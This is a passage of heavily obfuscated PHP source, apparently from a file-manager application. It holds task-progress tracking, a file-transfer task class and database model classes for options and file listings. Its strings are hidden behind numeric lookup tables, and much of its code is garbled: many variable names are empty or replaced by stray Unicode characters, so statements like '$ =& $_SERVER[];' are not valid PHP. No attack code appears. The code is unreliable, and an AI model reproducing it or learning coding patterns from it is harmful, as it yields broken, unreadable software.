0) { $ = 0.001; } $[$[1676]] = $[$[1675]] / $[$[790]]; $[$[1677]] = $[$[1675]] / $; if ($[$[1676]] > 0) { $[$[1682]] = $ * (1 - $[$[1676]]) / $[$[1676]]; } $[$[1682]] = $[$[1682]] <= 0 ? 0 : $[$[1682]]; } $this->updateAfter(); $ݓ = 0.2; if (timeFloat() - $[$[1680]] < $ݓ && !$Ѓ) { return; } $ = self::get($[$[399]]); $³ = $[$[754]]; if ($³ == self::STATYS_KILL) { $ = array($[1692] => LNG($[1693]), $[1220] => !1); Cache::set($[1694] . $this->task[$[399]], $, 30); $this->onKill(); $this->end(); die; } else { if ($³ == self::STATYS_STOP) { $˓ = 2; $[$[1681]] += $˓; self::valueSet($[$[399]], $); sleep($˓); $this->update(); return; } } $[$[754]] = $³ ? $³ : $[$[754]]; $[$[1681]] = $[$[1681]] ? $[$[1681]] : 0; $[$[1680]] = timeFloat(); Hook::trigger($[1695], $); self::valueSet($[$[399]], $); } public function onKillSet($ڈ, $ = array()) { $this->onKillCall = array($ڈ, $); } public function onKill() { $ =& $_SERVER[]; self::log($[1688] . $this->task[$[399]] . $[1696]); Hook::trigger($[1697], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($ׅ) { $ݶ =& $_SERVER[]; Cache::set($ݶ[1694] . $this->task[$ݶ[399]], $ׅ, 60); return $ׅ; } public static function get($תĩ) { $ =& $_SERVER[]; $ = self::valueGet($תĩ); if (is_array($) && $[$[1698]]) { $ݘϸ = ActionApply($[$[1698]], array($)); $ = is_array($ݘϸ) ? $ݘϸ : $; } return $; } public static function listData() { $ = self::valueGet(); return array_sort_by($, $_SERVER[][1678], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($д) { return self::changeStatus($д, self::STATYS_STOP); } public static function restart($兀) { return self::changeStatus($兀, self::STATYS_RUNNING); } public static function killAll() { $Ψ =& $_SERVER[]; $ = self::listData(); foreach ($ as $) { self::kill($[$Ψ[399]]); } sleep(2); foreach ($ as $) { self::valueSet($[$Ψ[399]], !1); } } private static function changeStatus($ْ, $) { $҅ =& $_SERVER[]; $ = self::valueGet($ْ); if (!$) { return !1; } $[$҅[754]] = $; self::valueSet($ْ, $); self::log($҅[1699] . $[$҅[399]] . $҅[1700] . $); return !0; } public static function valueGet($ͺ = false) { $ƀ =& $_SERVER[]; $ݖ = defined($ƀ[475]) ? USER_ID : $ƀ[197]; if ($ͺ) { $ݠ = Model($ƀ[447])->where(array($ƀ[94] => $ͺ, $ƀ[33] => $ƀ[1078]))->find(); return $ݠ ? json_decode($ݠ[$ƀ[374]], !0) : !1; } return self::taskListUser($ݖ); } public static function taskListUser($Н˳ = false) { $ =& $_SERVER[]; $ﴴ = array($[33] => $[1078]); if ($Н˳) { $ﴴ[$[1674]] = $Н˳; } $ن = Model($[447])->where($ﴴ)->select(); $ن = $ن ? $ن : array(); foreach ($ن as $ => $) { $ن[$] = json_decode($[$[374]], !0); } return $ن; } public static function valueSet($, $) { $ =& $_SERVER[]; if (!$) { return Model($[447])->where(array($[94] => $, $[33] => $[1078]))->delete(); } $ = json_encode($); if (!$) { ob_start(); var_dump($); $겄 = ob_get_clean(); self::log($[1701] . json_encode_force($겄)); } if (!$ || !$[$[399]]) { return !1; } $ƪ֊ = defined($[475]) ? USER_ID : $[197]; $Ǵ = array($[33] => $[1078], $[1674] => $ƪ֊, $[94] => $, $[374] => $); $෴ = $[1702]; CacheLock::lock($෴); Model($[447])->add($Ǵ, array(), !0); CacheLock::unlock($෴); } public static function log($֘) { if (!GLOBAL_DEBUG) { return; } write_log($֘, $_SERVER[][1703]); } } class TaskFileTransfer extends Task { protected function startAfter() { $ =& $_SERVER[]; $۬ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($[1704], array($this, $[1705])); Hook::bind($[1231], array($this, $[1706])); Hook::bind($[1707], array($this, $[1708])); Hook::bind($[604], array($this, $[1709])); Hook::bind($[605], array($this, $[1710])); Hook::bind($[610], array($this, $[1711])); Hook::bind($[611], array($this, $[1712])); Hook::bind($[607], array($this, $[1713])); Hook::bind($[608], array($this, $[1714])); Hook::bind($[574], array($this, $[1715])); Hook::bind($[571], array($this, $[1715])); Hook::bind($[576], array($this, $[1715])); Hook::bind($[578], array($this, $[1715])); Hook::bind($[580], array($this, $[1715])); Hook::bind($[1716], array($this, $[1717])); Hook::bind($[597], array($this, $[1718])); $this->sourceModelCopyFlag = !1; Hook::bind($[1719], array($this, $[1720])); Hook::bind($[1721], array($this, $[1722])); Hook::bind($[1723], array($this, $[1724])); $۬[$[1725]] = LNG($[1726]); $۬[$[1727]] = 0; $۬[$[1728]] = 0; $۬[$[1071]] = $[12]; $۬[$[1729]] = $[12]; $۬[$[1730]] = 0; $۬[$[1731]] = 0; $۬[$[1732]] = 0; if (!$۬[$[1574]]) { $۬[$[1574]] = LNG($[1733]); } } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1704], array($this, $[1705])); Hook::unbind($[1231], array($this, $[1706])); Hook::unbind($[1707], array($this, $[1708])); Hook::unbind($[604], array($this, $[1709])); Hook::unbind($[605], array($this, $[1710])); Hook::unbind($[610], array($this, $[1711])); Hook::unbind($[611], array($this, $[1712])); Hook::unbind($[607], array($this, $[1713])); Hook::unbind($[608], array($this, $[1714])); Hook::unbind($[574], array($this, $[1715])); Hook::unbind($[571], array($this, $[1715])); Hook::unbind($[576], array($this, $[1715])); Hook::unbind($[578], array($this, $[1715])); Hook::unbind($[580], array($this, $[1715])); Hook::unbind($[1716], array($this, $[1717])); Hook::unbind($[597], array($this, $[1718])); Hook::unbind($[1719], array($this, $[1720])); Hook::unbind($[1721], array($this, $[1722])); Hook::unbind($[1723], array($this, $[1724])); } public function copyMoveStart($ő, $؟, $좝, $ի) { $إ =& $_SERVER[]; self::log($إ[1734] . $؟ . $إ[70] . $ի); $Ě = rtrim(TEMP_FILES, $إ[8]); if (substr($؟, 0, strlen($Ě)) == $Ě) { return; } if (substr($ի, 0, strlen($Ě)) == $Ě) { return; } $Ӡד =& $this->task; $Ӡד[$إ[1735]] = KodIO::transferType($ő, $좝); $this->update(); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[767]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$[1735]] == $[1320]) { return; } self::updateTask($); } private static function updateTask(&$Ư) { $ =& $_SERVER[]; if ($Ư[$[1735]] == $[1202] || $Ư[$[1735]] == $[107]) { if ($Ư[$[1729]]) { $Ư[$[1732]] = $Ư[$[1731]] + $Ư[$[1728]]; } } else { if ($Ư[$[1735]] == $[1321]) { if ($Ư[$[1729]] == $[1202]) { $Ư[$[1732]] = $Ư[$[1731]] + $Ư[$[1728]] * 0.5; } else { if ($Ư[$[1729]] == $[107]) { $Ư[$[1732]] = $Ư[$[1731]] + $Ư[$[1727]] * 0.5 + $Ư[$[1728]] * 0.5; } } } } $Ư[$[1676]] = $Ư[$[1732]] / $Ư[$[767]]; if ($Ư[$[1676]] > 0) { $ = timeFloat() - $Ư[$[1678]] - $Ư[$[1681]]; $Ư[$[1682]] = $ * (1 - $Ư[$[1676]]) / $Ư[$[1676]]; } } public function addPath($) { $Ù =& $_SERVER[]; if (!$) { return; } $ =& $this->task; $Ҥ = IO::infoWithChildren($); $ǷՍ = $[$Ù[1736]] ? $[$Ù[1736]][$Ù[1737]] : 0; $[$Ù[1736]] = array($Ù[1737] => $ǷՍ + 1, $Ù[420] => $Ҥ[$Ù[32]], $Ù[84] => $Ҥ[$Ù[84]], $Ù[519] => $Ҥ[$Ù[519]] ? $Ҥ[$Ù[519]] : $Ҥ[$Ù[84]]); if ($Ҥ[$Ù[33]] == $Ù[199]) { $[$Ù[790]] += 1; } else { $[$Ù[790]] += $Ҥ[$Ù[79]][$Ù[77]]; if ($Ҥ[$Ù[402]]) { $[$Ù[790]] += $Ҥ[$Ù[79]][$Ù[78]] + 1; } } $[$Ù[767]] += $Ҥ[$Ù[76]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($Ѵ) { } public function sourceAddHashEnd($ޟ) { } public function sourceAddFileStart($) { $² =& $_SERVER[]; $ =& $this->task; $[$²[1727]] = $[$²[76]]; $[$²[1725]] = $[$²[32]]; $[$²[1071]] = $[$²[32]]; $[$²[1738]] = $[$²[84]]; $this->update(); } public function sourceAddFileEnd($Ӷ) { $ =& $_SERVER[]; $ȣ =& $this->task; $ȣ[$[1732]] += $Ӷ[$[76]]; $ȣ[$[1738]] = $Ӷ[$[84]]; $this->update(1); } public function copyFileStart($, $, $ț, $ױ, $Ӂ, $خ) { $Ԥ =& $_SERVER[]; $ǂ = $Ӂ; if ($ǂ == $GLOBALS[$Ԥ[1739]]) { $ǂ = $GLOBALS[$Ԥ[1740]]; } $GLOBALS[$Ԥ[1740]] = $Ӂ; $GLOBALS[$Ԥ[1739]] = $خ; $ =& $this->task; $[$Ԥ[1725]] = $ǂ; $[$Ԥ[1727]] = (int) $->size($); $[$Ԥ[1728]] = 0; $[$Ԥ[1071]] = $Ԥ[12]; $[$Ԥ[1729]] = $Ԥ[12]; $[$Ԥ[1730]] = 0; $¡ = $[$Ԥ[1727]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($[$Ԥ[399]] . $Ԥ[1741]); if ($¡ && file_exists(get_path_father($ױ))) { Cache::set($[$Ԥ[399]] . $Ԥ[1741], $ױ); $[$Ԥ[1698]] = array($Ԥ[1742], $Ԥ[1743]); } $this->update(0, $¡); } public static function updateCopyLocalFileSize($ȏԵ) { $舥 =& $_SERVER[]; $ = Cache::get($ȏԵ[$舥[399]] . $舥[1741]); if (!$ || !file_exists($)) { return $ȏԵ; } $ȏԵ[$舥[1728]] = @filesize($); $ȏԵ[$舥[1732]] += $ȏԵ[$舥[1728]]; self::updateTask($ȏԵ); return $ȏԵ; } public function copyFileEnd($Ǝ, $Ċ, $֔, $µ, $鎭Ԥ, $碴) { $Ԭ =& $_SERVER[]; $ן =& $this->task; $ן[$Ԭ[1728]] = $ן[$Ԭ[1727]]; $ן[$Ԭ[1729]] = $Ԭ[12]; unset($ן[$Ԭ[1698]]); if ($鎭Ԥ == $ן[$Ԭ[1725]]) { $ן[$Ԭ[1731]] += $ן[$Ԭ[1727]]; $ן[$Ԭ[1732]] = $ן[$Ԭ[1731]]; $䚙 = 1; if (isset($ן[$Ԭ[1738]]) && $ן[$Ԭ[1738]] == $Ċ) { $䚙 = 0; } $this->update($䚙); } else { $this->update(); $ן[$Ԭ[1728]] = 0; } Cache::remove($ן[$Ԭ[399]] . $Ԭ[1741]); self::log($Ԭ[1744] . $Ċ . $Ԭ[70] . $µ . $Ԭ[231] . $鎭Ԥ . $Ԭ[1745] . $ן[$Ԭ[1725]]); } public function updateFileEnd($, $ܚ) { $ =& $_SERVER[]; $ī =& $this->task; $ī[$[1725]] = $; $ī[$[1727]] = $ܚ; $ī[$[1731]] += $ܚ; $ī[$[1732]] = $ī[$[1731]]; $this->update(1); self::log($[1746] . $); } public function sourceModelCopy($Ĺ) { $؆ה =& $_SERVER[]; $ = $Ĺ[0]; $΄̸ = $Ĺ[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $ = 0; switch ($) { case $؆ה[572]: $ = 1; break; case $؆ה[575]: $[$؆ה[1725]] = $΄̸[$؆ה[32]]; break; case $؆ה[577]: $ = intval($Ĺ[$؆ה[380]] * 0.4); break; case $؆ה[579]: $ = intval($Ĺ[$؆ה[380]] * 0.2); break; case $؆ה[581]: $ = intval($Ĺ[$؆ה[380]] * 0.4); break; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceRemove($漶, $) { $թ =& $_SERVER[]; $this->sourceModelCopyFlag = !0; $ԛ = 1; if (isset($漶[$թ[79]])) { $ԛ = $漶[$թ[79]][$թ[77]]; $ԛ = $ԛ + $漶[$թ[79]][$թ[78]] + 1; } $this->update($ԛ); $this->sourceModelCopyFlag = !1; } public function sourceMove($܀) { $this->sourceRemove($܀, !1); } public function curlProgress($ꙓ, $肃, $, $¡̦, $ʸ) { $齯 =& $_SERVER[]; $ܠ =& $this->task; if ($ʸ > 0) { $ܠ[$齯[1071]] = $齯[1747]; $ܠ[$齯[1729]] = $齯[107]; if ($ܠ[$齯[1727]]) { $ܠ[$齯[1728]] = $ʸ; } if ($ܠ[$齯[1730]]) { $ܠ[$齯[1728]] = $ʸ + $ܠ[$齯[1730]]; } } else { if ($ > 0) { if ($ܠ[$齯[1727]] == $肃) { $ܠ[$齯[1728]] = $; $ܠ[$齯[1071]] = $齯[1748]; $ܠ[$齯[1729]] = $齯[1202]; } } } $this->update(); } public function curlProgressStart($) { } public function curlProgressEnd($) { $ =& $_SERVER[]; $ =& $this->task; $ = curl_getinfo($); $߾ = $[$[1749]]; if ($߾ == -1) { $߾ = $[$[1750]]; } if ($[$[1729]] == $[107] && $߾) { $[$[1730]] += $߾; } $this->update(); } } goto d; D: class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($퇝 = false, $ = '', $ޜ = false) { $ =& $_SERVER[]; $ɜ = $this->cacheGet($); $ת = $this->optionDefault($); $ת = is_array($ת) ? $ת : array(); if (is_array($ɜ)) { $ɜ = array_merge($ת, $ɜ); return $퇝 ? isset($ɜ[$퇝]) ? $ɜ[$퇝] : null : $ɜ; } $ = $this->filterWhere(array($[33] => $)); $ɜ = $this->where($)->select(); $ɜ = array_to_keyvalue($ɜ, $[94], $[374]); foreach ($ɜ as $Ć => $ʇ) { if ($ޜ || in_array($Ć, $this->jsonField)) { $ɜ[$Ć] = json_decode($ʇ, !0); } } $this->cacheSet($, $ɜ); $ɜ = array_merge($ת, $ɜ); return $퇝 ? $ɜ[$퇝] : $ɜ; } public function set($դ, $ = false, $؇ɦ = '') { $ =& $_SERVER[]; $this->cacheRemove($؇ɦ); $ = array(); $թ = is_array($դ) ? $դ : array($դ => $); foreach ($թ as $ => $) { if (is_array($)) { $ = json_encode_force($); } $this->checkLength($, !1, $this->tableName . $[4] . $դ); $ = self::textEncode($); $թ = array($[33] => $؇ɦ, $[94] => $, $[374] => $); $[] = $this->filterWhere($թ); } if (!$) { return !0; } $ = $this->cacheKey($[400]); CacheLock::lock($); $۩ = $this->addAll($, array(), !0); CacheLock::unlock($); return $۩; } protected function optionDefault($ = '') { return !1; } public function setDeep($͍, $ۆ = false, $ӣ = '') { $ = explode($_SERVER[][10], $͍); $ڎ = $this->get(); array_set_value($ڎ, $͍, $ۆ); $this->set($[0], $ڎ[$[0]], $ӣ); } public function remove($, $׃ = '') { $ =& $_SERVER[]; $this->cacheRemove($׃); $Ϡ = $this->filterWhere(array($[94] => $, $[33] => $׃)); if (is_null($)) { unset($Ϡ[$[94]]); } return $this->where($Ϡ)->delete(); } public function cacheSet($Ґ, $߯Ǖ = false) { return Cache::set($this->cacheKey($Ґ), $߯Ǖ); } public function cacheGet($ɥ) { return Cache::get($this->cacheKey($ɥ)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($) { return $; } protected function cacheKey($) { return $; } } class SourceListModel extends ModelBase { protected $tableName = "\151\x6f\137\163\157\x75\162\x63\145"; protected $tableMeta = array("\x74\x61\142\x6c\145\x4e\141\155\145" => "\x69\157\x5f\163\157\x75\x72\x63\145\x5f\x6d\145\x74\141", "\155\x65\x74\x61\x46\151\x65\154\x64" => "\x73\x6f\165\162\x63\x65\111\x44"); protected $dataAuto = array(array("\x6d\157\x64\151\x66\x79\124\x69\x6d\x65", "\164\x69\x6d\145", "\x69\x6e\x73\145\162\164", "\146\165\x6e\143\164\151\157\156"), array("\143\162\x65\x61\x74\x65\x54\151\x6d\x65", "\164\x69\155\145", "\151\x6e\163\x65\162\x74", "\x66\x75\156\143\164\151\x6f\156"), array("\x76\x69\x65\167\x54\x69\155\x65", "\x74\151\155\145", "\x69\156\x73\145\162\x74", "\x66\x75\156\x63\x74\151\157\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[][401] => $)); } public function typeName($) { static $ = array(self::TYPE_SYSTEM => "\x73\x79\163\x74\x65\x6d", self::TYPE_USER => "\165\x73\x65\x72", self::TYPE_GROUP => "\x67\162\157\165\160"); return $[$ . $_SERVER[][12]]; } public function sourceListInfo($ۓ, $ݧ = false) { $ =& $_SERVER[]; $ۓ = $ۓ ? $ۓ : array(); $ۓ = array_filter(array_unique($ۓ)); if (!$ۓ) { return array(); } $ǰܓ = $this->where(array($[402] => array($[7], $ۓ)))->select(); $this->_listDataApply($ǰܓ, $ݧ); return array_to_keyvalue($ǰܓ, $[402]); } public function pathInfoFilter(&$٧) { $ =& $_SERVER[]; static $ = false; static $܆ = false; static $ = false; if (!$) { $æ = $[403]; $æ .= $[404]; $æ .= $[405]; $½ = $[406]; $𤤜 = explode($[50], $½); $ = explode($[50], $æ); $܆ = array(); foreach ($ as $) { if (in_array($, $𤤜)) { continue; } $܆[] = $; } $ = explode($[50], $[407]); } foreach ($ as $) { if (isset($٧[$])) { $٧[$] = intval($٧[$]); } } $٧[$[84]] = $[408] . $٧[$[402]] . $[409]; $٧[$[33]] = $٧[$[410]] == 1 ? $[75] : $[199]; $٧[$[411]] = $this->typeName($٧[$[411]]); if ($٧[$[410]] != 1) { $٧[$[174]] = $٧[$[412]]; unset($٧[$[412]]); } $ = $; if (isset($٧[$[413]]) && $٧[$[413]][$[414]] == -1) { $ = $܆; } $٧ = array_field_key($٧, $); return $٧; } public function listUserFav() { $Ô =& $_SERVER[]; $鱊 = Model($Ô[415])->listData(); $ӂ = array_filter_by_field($鱊, $Ô[33], $Ô[416]); $ӂ = array_to_keyvalue($ӂ, $Ô[12], $Ô[84]); if ($ӂ) { $ۙ = $this->listSource(array($Ô[417] => array($Ô[418], $ӂ))); } $ۙ = array_to_keyvalue($ۙ[$Ô[369]], $Ô[402]); foreach ($鱊 as &$) { $ = array($Ô[419] => $[$Ô[399]], $Ô[420] => $[$Ô[32]], $Ô[421] => $[$Ô[84]], $Ô[422] => $[$Ô[33]], $Ô[423] => $[$Ô[200]], $Ô[424] => $[$Ô[85]]); if ($[$Ô[33]] == $Ô[416] && $ۙ[$[$Ô[84]]]) { $[$Ô[86]] = $ۙ[$[$Ô[84]]]; } } unset($); return $鱊; } public function listUserTag($˼ȗ) { $ =& $_SERVER[]; if ($˼ȗ && !is_array($˼ȗ)) { $˼ȗ = array($˼ȗ); } $ݨ = Model($[425])->listData(); $ = array(); $ϣ = array(); foreach ($ݨ as $) { $ݙ = $[$[84]]; if (!$ݙ) { continue; } if (!isset($ϣ[$ݙ])) { $ϣ[$ݙ] = array(); } $ϣ[$ݙ][] = $[$[426]]; $[$[$[84]]] = $; } $ = array(); $ = array(); $ = array(); foreach ($ϣ as $ => $) { $Գ = !0; if (!$˼ȗ) { $[] = $; continue; } foreach ($˼ȗ as $ێ) { if (!in_array($ێ, $)) { $Գ = !1; break; } } if (!$Գ) { continue; } if (!is_numeric($)) { $ڼ = $[$]; $ = array($[32] => $ڼ[$[32]], $[84] => $ڼ[$[84]], $[33] => $ڼ[$[33]], $[86] => array($[427] => 1), $[201] => !0); if ($ڼ[$[33]] == $[199]) { $[] = $; } if ($ڼ[$[33]] == $[75]) { $[] = $; } continue; } $[] = $; } if ($) { $ʛȼ = $this->listSource(array($[417] => array($[418], $))); } $ʛȼ = $ʛȼ ? $ʛȼ : array($[82] => array(), $[83] => array()); $ʛȼ[$[82]] = array_merge($ʛȼ[$[82]], $); $ʛȼ[$[83]] = array_merge($ʛȼ[$[83]], $); if (isset($ʛȼ[$[366]]) && count($) == $ʛȼ[$[366]][$[367]]) { return $ʛȼ; } $⡻ = array(); $ذ = array_to_keyvalue($ʛȼ[$[82]], $[12], $[402]); $ = array_to_keyvalue($ʛȼ[$[83]], $[12], $[402]); $ = array_merge($, $ذ); foreach ($ as $ݙ) { if (!in_array($ݙ, $)) { $⡻[] = $ݙ; } } if ($⡻) { Model($[428])->removeBySource($⡻); } return $ʛȼ; } public function listUserRecycle() { $Ǫձ =& $_SERVER[]; $ = Model($Ǫձ[429])->listData(); if (!$) { return array(); } $ = array($Ǫձ[417] => array($Ǫձ[418], $), $Ǫձ[430] => 1); return $this->listSource($); } public function listSource($è, $Ɯٍ = 3000, $Ȍ = false) { $Α =& $_SERVER[]; if (!isset($è[$Α[431]])) { $è[$Α[431]] = 0; } if (isset($è[$Α[432]]) && $è[$Α[432]] == $Α[197]) { $è[$Α[412]] = array($Α[331], $Α[433]); } $ = $Α[434]; $ = $this->field($)->_makeOrder()->where($è)->selectPage($Ɯٍ); $this->_listPageCheck($, $, $è); $this->_listDataApply($[$Α[369]], $Ȍ); $this->_listMake($); return $; } private function _listPageCheck(&$, $ʃ, $ȷ) { $ۆ =& $_SERVER[]; if (!is_array($[$ۆ[366]])) { return; } $ = $[$ۆ[366]]; if ($[$ۆ[368]] <= 1) { return; } if ($[$ۆ[367]] >= 100000) { return; } if (Model($ۆ[435])->get($ۆ[436]) != $ۆ[437]) { return; } $ʃ = str_replace(array($ۆ[53], $ۆ[342], $ۆ[231]), $ۆ[12], $ʃ); $ʃ = $ۆ[438] . str_replace($ۆ[50], $ۆ[439], $ʃ) . $ۆ[440]; $Є = $ۆ[441]; $Є = $Є . $ۆ[442]; $ = $[$ۆ[363]] * ($[$ۆ[353]] - 1) . $ۆ[50] . $[$ۆ[363]]; $ = $this->_makeOrder(!0); $쮖 = $ۆ[438] . str_replace($ۆ[50], $ۆ[439], $[0]); if (strpos($쮖, $ۆ[443])) { $쮖 = str_replace($ۆ[443], $ۆ[444], $쮖); } else { $쮖 .= $ۆ[445] . $[1]; } $͆ = array(); foreach ($ȷ as $ => $Ǎ) { $͆[$ۆ[438] . $] = $Ǎ; } $this->alias($ۆ[446])->field($ʃ)->limit($)->order($쮖); $ = $this->join($Є)->where($͆)->select(); if ($) { $[$ۆ[369]] = $; } } protected function _makeOrder($ɳ = false) { $Ҩ =& $_SERVER[]; $̊ = Model($Ҩ[447])->get($Ҩ[448]); $ć = Model($Ҩ[447])->get($Ҩ[449]); $ = array($Ҩ[450] => $Ҩ[451], $Ҩ[452] => $Ҩ[453]); $ = array($Ҩ[32] => $Ҩ[32], $Ҩ[76] => $Ҩ[76], $Ҩ[174] => $Ҩ[412], $Ҩ[454] => $Ҩ[454], $Ҩ[455] => $Ҩ[456], $Ҩ[200] => $Ҩ[200], $Ҩ[85] => $Ҩ[85]); $ = Input::get($Ҩ[457], $Ҩ[7], $̊, array_keys($)); $֥ = Input::get($Ҩ[458], $Ҩ[7], $ć, array_keys($)); if (!in_array($, array_keys($))) { $ = $Ҩ[32]; } if (!in_array($֥, array_keys($))) { $ = $Ҩ[450]; } if ($ == $Ҩ[32]) { } $ϑ = $Ҩ[459] . $[$] . $Ҩ[53] . $[$֥]; $ϑ = rtrim(trim($ϑ), $Ҩ[50]); if ($ɳ) { return array($ϑ, $[$֥]); } return $this->order($ϑ); } protected function _listDataApplyItem($ة, $ = false) { $ = array($ة); $this->_listDataApply($, $); return $[0]; } protected function _listDataApply(&$Ѷ, $ƍ = false) { $ŋ =& $_SERVER[]; if (!$Ѷ) { $Ѷ = array(); return; } $狂 = array_to_keyvalue($Ѷ, $ŋ[12], $ŋ[402]); $狂 = array_unique($狂); $this->_listSourceCache($Ѷ); if (!$ƍ) { $this->_listAppendMeta($Ѷ, $狂); $this->_listAppendFileMeta($Ѷ, $狂); $this->_listAppendChildren($Ѷ, $狂); } $this->_listAppendPath($Ѷ); $this->_listAppendAuth($Ѷ); $this->_listAppendSourceInfo($Ѷ, $狂); $this->_listAppendUser($Ѷ); $this->_listFilterInfo($Ѷ, $ƍ); $this->_listAppendAuthSecret($Ѷ); } protected function _listSourceCache($ן) { $ =& $_SERVER[]; foreach ($ן as $;) { self::$cacheSourceInfo[$[460] . $;[$[402]]] = $;; } } protected function _listFilterInfo(&$, $Ϯ = false) { $ =& $_SERVER[]; foreach ($ as &$ѝ) { $ѝ = $this->pathInfoFilter($ѝ); self::$cachePathInfo[$[461] . intval($Ϯ) . $[386] . $ѝ[$[402]]] = $ѝ; } unset($ѝ); } protected function _listMake(&$) { $܃ =& $_SERVER[]; $[$܃[82]] = array(); $[$܃[83]] = array(); foreach ($[$܃[369]] as $) { $Լ = $[$܃[410]] == 1 ? $܃[82] : $܃[83]; $[$Լ][] = $; } unset($[$܃[369]]); } protected function _listAppendMeta(&$, $) { $ܿ =& $_SERVER[]; $ާ = array($ܿ[417] => array($ܿ[418], $)); $ڲ = Model($ܿ[462])->field($ܿ[463])->where($ާ)->select(); if (!$ڲ) { return; } $ = array($ܿ[464], $ܿ[465], $ܿ[444]); $ޣ = array(); foreach ($ڲ as $) { if (!isset($ޣ[$[$ܿ[402]]])) { $ޣ[$[$ܿ[402]]] = array(); } if (in_array($[$ܿ[94]], $)) { continue; } $ޣ[$[$ܿ[402]]][$[$ܿ[94]]] = $[$ܿ[374]]; } foreach ($ as &$˞) { $˞[$ܿ[466]] = !1; if (isset($ޣ[$˞[$ܿ[402]]])) { $˞[$ܿ[466]] = $ޣ[$˞[$ܿ[402]]]; } if ($this->fileIsLock($˞) && $˞[$ܿ[413]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $˞[$ܿ[413]][$ܿ[414]] = AuthModel::authDisable($˞[$ܿ[413]][$ܿ[414]], $); $˞[$ܿ[413]][$ܿ[467]][$ܿ[413]] = $˞[$ܿ[413]][$ܿ[414]]; } } unset($˞); } protected function _listAppendFileMeta(&$ټ, $) { $ =& $_SERVER[]; $ = array_to_keyvalue($ټ, $[12], $[468]); $ = array_filter(array_unique($)); if (!$) { return; } $߯ = array($[469] => array($[418], $)); $뛄Ä = $[470]; $Ѝ = Model($[471])->field($뛄Ä)->where($߯)->select(); $Ѝ = array_to_keyvalue($Ѝ, $[468]); $Ƈޟ = Model($[472])->field($[473])->where($߯)->select(); $Ƈޟ = $Ƈޟ ? $Ƈޟ : array(); $Ʋݠ = array(); foreach ($Ƈޟ as $⎘) { if (!isset($Ʋݠ[$⎘[$[468]]])) { $Ʋݠ[$⎘[$[468]]] = array(); } $Ʋݠ[$⎘[$[468]]][$⎘[$[94]]] = $⎘[$[374]]; } foreach ($ټ as &$) { $ܫ = $[$[468]]; if (!$ܫ || !is_array($Ѝ[$ܫ])) { continue; } $辚 = $Ѝ[$ܫ]; $辚[$[76]] = $[$[76]]; $辚[$[32]] = $[$[32]]; if (!isset(self::$cacheFileInfo[$[474] . $ܫ])) { self::$cacheFileInfo[$[474] . $ܫ] = array_merge(array(), $辚); } unset($Ѝ[$ܫ][$[84]]); $߄ = is_array($Ʋݠ[$ܫ]) ? $Ʋݠ[$ܫ] : array(); $[$[170]] = array_merge($߄, $Ѝ[$ܫ]); if (isset($[$[170]][$[169]])) { $[$[169]] = json_decode($[$[170]][$[169]], !0); unset($[$[170]][$[169]]); } } unset($); } protected function _listAppendSourceInfo(&$, $) { $ॉ =& $_SERVER[]; if (!defined($ॉ[475])) { return; } $ӽ = Model($ॉ[476])->listData(); $ֿɑ = Model($ॉ[425])->listData(); $䰊 = Model($ॉ[415])->listData(); $˹ = Model($ॉ[477])->listSimple(); $ = array_to_keyvalue($ӽ, $ॉ[399]); $ڪ = array_to_keyvalue_group($ֿɑ, $ॉ[84], $ॉ[426]); $虮 = array_to_keyvalue($䰊, $ॉ[84]); $ = array_to_keyvalue_group($˹, $ॉ[402]); foreach ($ as &$۫) { $۫[$ॉ[86]] = array($ॉ[478] => 0, $ॉ[479] => 0, $ॉ[480] => 0); if (isset($虮[$۫[$ॉ[402]]])) { $۫[$ॉ[86]][$ॉ[481]] = 1; $۫[$ॉ[86]][$ॉ[482]] = $虮[$۫[$ॉ[402]]][$ॉ[32]]; } if ($ڪ && $ && isset($ڪ[$۫[$ॉ[402]]])) { $۫[$ॉ[86]][$ॉ[483]] = array(); foreach ($ڪ[$۫[$ॉ[402]]] as $杘ꍱ) { $ࡘ = $[$杘ꍱ]; $۫[$ॉ[86]][$ॉ[483]][] = array($ॉ[484] => $ࡘ[$ॉ[399]], $ॉ[420] => $ࡘ[$ॉ[32]], $ॉ[485] => $ࡘ[$ॉ[486]]); } } if ($ && isset($[$۫[$ॉ[402]]])) { $۫[$ॉ[86]][$ॉ[487]] = array(); foreach ($[$۫[$ॉ[402]]] as $) { $۫[$ॉ[86]][$ॉ[487]] = array($ॉ[488] => $[$ॉ[489]], $ॉ[490] => $[$ॉ[491]], $ॉ[492] => $[$ॉ[402]], $ॉ[493] => $[$ॉ[494]], $ॉ[495] => $[$ॉ[496]], $ॉ[497] => $[$ॉ[497]], $ॉ[498] => $[$ॉ[498]]); } } } unset($۫); return $; } protected function _listAppendChildren(&$, $ڋ) { $ݒα =& $_SERVER[]; $ = array(); $ʏ = array($ݒα[207] => 0, $ݒα[208] => 0); foreach ($ as &$Ȭ) { if (!$Ȭ[$ݒα[410]]) { continue; } $[] = $Ȭ[$ݒα[402]]; } unset($Ȭ); if (!$) { return; } $ = array($ݒα[432] => array($ݒα[7], $), $ݒα[431] => 0); $ = array($ݒα[432], $ݒα[410], $ݒα[499] => $ݒα[500]); $Ɗ = $this->field($)->where($)->group($ݒα[501])->select(); $̂ = array(); foreach ($Ɗ as $) { $ = $[$ݒα[432]]; $ = 